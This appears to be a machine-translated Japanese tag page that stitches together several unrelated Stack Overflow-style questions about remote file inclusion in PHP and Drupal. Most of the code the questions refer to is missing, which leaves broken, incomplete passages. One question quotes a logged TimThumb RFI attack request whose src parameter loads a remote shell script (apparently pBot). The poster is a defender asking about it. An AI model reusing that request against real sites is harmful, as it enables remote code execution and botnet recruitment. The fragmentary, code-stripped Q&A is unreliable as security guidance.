問題タブ [remote-file-inclusion]

最近、PHP スクリプトを使用してアフィリエイト リンクをリダイレクトする方法に関するブログ記事を見つけました。このスクリプトが安全かどうかを考えさせられました。$_GET 変数を使用すると脆弱性が発生する可能性があると聞きました。

任意の提案をいただければ幸いです。これを防ぐには、英数字とハイフン ('-') の入力をチェックするだけで十分でしょうか?

このスクリプトの場合、リンクは次の形式になります。

http://www.somesite.com/amazon.php?asin=XXXXXXXXXX

また

http://www.somesite.com/amazon.php?id=some-keyword

amazon.php は次のとおりです。

いつもありがとう！

これは、同じサーバーにあるファイルに対して現在持っているものであり、機能します。

完了したらファイルを別のサーバーに FTP 送信することを計画していましたが、リモート サーバーでそれを行う方法はありますか? つまり、リモート サーバー上にテキスト ファイルを作成し、それに書き込みますか? その使用例は見つかりませんでした。このインスタンスで ServerXMLHTTP を使用して Server.MapPath を置き換えるにはどうすればよいですか?

お時間をいただきありがとうございました。

リモートイメージを表示するcckフィールドにリモートファイルモジュールを使用します。既知の問題で動作します：画像は編集のたびにリロードされます http://drupal.org/node/395256

そして、たくさんのノードでテストを行い、後でそれらを削除すると、ファイルシステムにキャッシュされている画像も削除されます。それらを削除しないようにfilefield（？）に指示する方法はありますか？

編集

一方、手動で作成または編集されたノードで非常にうまく機能するhttp://drupal.org/project/filefield_sourcesが見つかりました。しかし、print_r（$ node）に表示させたときに表示される場所にURLを割り当てるときに、ファイルフィールドに画像をフェッチさせる方法はありません。

この（wont-fix）問題への私の投稿も参照してくださいhttp://drupal.org/node/590756#comment-2774472

最近、ウェブサイトがハッキングされ、次のような PHP コードが index.php ファイルに挿入されました。

このコードにより、別の PHP ファイル (cnfg.php) が含まれ、医薬品関連のスパムが表示されていました (ただし、googlebot などにのみ表示されます)。これは、WordPress を実行していないことを除けば、WordPress に対する製薬会社のハッキングのように見えます。コードは削除されましたが、今後このようなことが起こらないようにしたいと思います。

これは非常に広範な問題であり、責任を負う可能性のある無数のセキュリティ ホールが存在する可能性があることは理解していますが、過去にそのような問題を経験したことがある人のために、これを公開すると思いました。

これらの PHP ファイルのアップロードを可能にする潜在的なセキュリティ ホールにはどのようなものがありますか? また、今後このようなことが起こらないようにするにはどうすればよいでしょうか?

問題が発生しています。私はこのコードを持っています：

これにより、次のようなURLが取得されます。http://mywebsite.com/index.php?url=test

しかし、誰かが入れたらどうなるでしょう：

これを回避する方法は？他のWebサイトからではなく、サーバー上にあるスクリプトのみを実行したい。手伝ってくれてありがとう。

ビデオ ホストの Ooyala からビデオ ソース ファイルをダウンロードしようとしていますが、これらのファイルのファイル名が長く、説明的ではなく、拡張子がありません。これらのファイルはさまざまなタイプの人々によってダウンロードされるため、これを修正したいので、ヘッダーを設定し、次のコードを使用してファイルを出力バッファーに読み取ります。

このようなスクリプトは、ダウンロード全体で「実行」されると想定しているため、「max_execution_time」を ini_set で 7200 に設定すると、すべてがうまく機能します。それで、他に取るべき予防策があるかどうか疑問に思っていますか？多分最大メモリか何か？

ありがとう！

ページのディレクトリにあるファイルに基づいてページを動的に生成するインターフェイスをブレインストーミングしています。jqueryでこれができるかどうか疑問に思っていますか？たとえば、ページには各ファイルの情報、おそらくサムネイルなどが表示されるだけです。新しいファイルをそのディレクトリにドロップすると、ページにそれが表示されます。

私のサーバー (mediaquarter.at) は現在、次のようなリクエストによって DDoS 攻撃を受けています (若干の違いがあります): hXXp://www.mediaquarter.at/http://www.madeineurope.org.uk/media/functions/timthumb/ timthumb.php?src=http://blogger.com.midislandrental.com/.mods/sh.php (URL は「非アクティブ化」されているため、誰も誤ってクリックすることはありません)

参照されている PHP ファイルをダウンロードしようとする場合は注意してください: preg_replace では /e スイッチがアクティブになっており、コードには複数の eval ステートメントが含まれています。確認する前にクリーンアップしてください。pBot のように見えます。詳細については、http ://www.offensivecomputing.net/?q=node/1417 を参照してください。

TimThumb は、リモート ファイル インクルージョンに対して脆弱です (http://eromang.zataz.com/2011/09/20/wordpress-timthumb-rfi-vulnerability-used-as-botnet-recruitment-vector/)。ワードプレス。したがって、悪用するために hXXp://www.madeineurope.org.uk/media/functions/timthumb/timthumb.php?src=http://blogger.com.midislandrental.com/.mods/sh.php を呼び出す誰かを理解できます。脆弱性。

しかし、別の Web サイト (mediaquarter.at) 経由で呼び出そうとすると、404 エラー メッセージが表示されるだけで、何の意味があるのでしょうか。さらに、私のサーバーは WordPress を実行していませんが、代わりに SilverStripe を実行しているため、これはかなり無意味に思えます。

これは単なるエラー/攻撃者側の愚かさですか、それともここである種の攻撃ベクトルを見落としていますか?

PS: サーバーは安価な Web ホスティングにすぎず、まったくアクセスできないため、システムに変更があるかどうかを確認できません。

私の問題は、リモート サーバーにファイルを含めることができないことです。

スクリプトは require_once 関数で失敗します。php -d allow_url_include=On script.php でスクリプトを実行していますが、php.ini で allow_url_include と allow_url_fopen を On に設定していることを確認します。

http://xx.xxx.xxx.xx:8080/path/to/myfile.incをブラウザーにコピーすると、ファイルが提供されます。他のリモートファイルも（標準ポート80で）含めようとしましたが、まだ運がありません

私が本当に混乱しているのは、オフィスのローカルコンピューター (mac、ubuntu) からはすべてが機能するが、サーバーからは機能しないことです。仮想サーバーと専用サーバーの2つの異なるサーバーでテストしました。fopen() でファイルを取得できます。

別のphpファイルのソースを読み取るためにphpを使用しようとしています。次の方法で file_get_contents を使用しようとしています

残念ながら、上記のコードは、他のファイルの場合のようにテキストを読み取るだけでなく、php コードを実行しようとします。

この問題に対処しているように見える記事に出くわしたため、次のコードにたどり着きました。

ただし、このコードには同じ効果があります。php コードの実行を試みます。

ファイル内のphpを実行しようとせずに、phpを使用して別のphpファイルのソースを読み取るにはどうすればよいですか?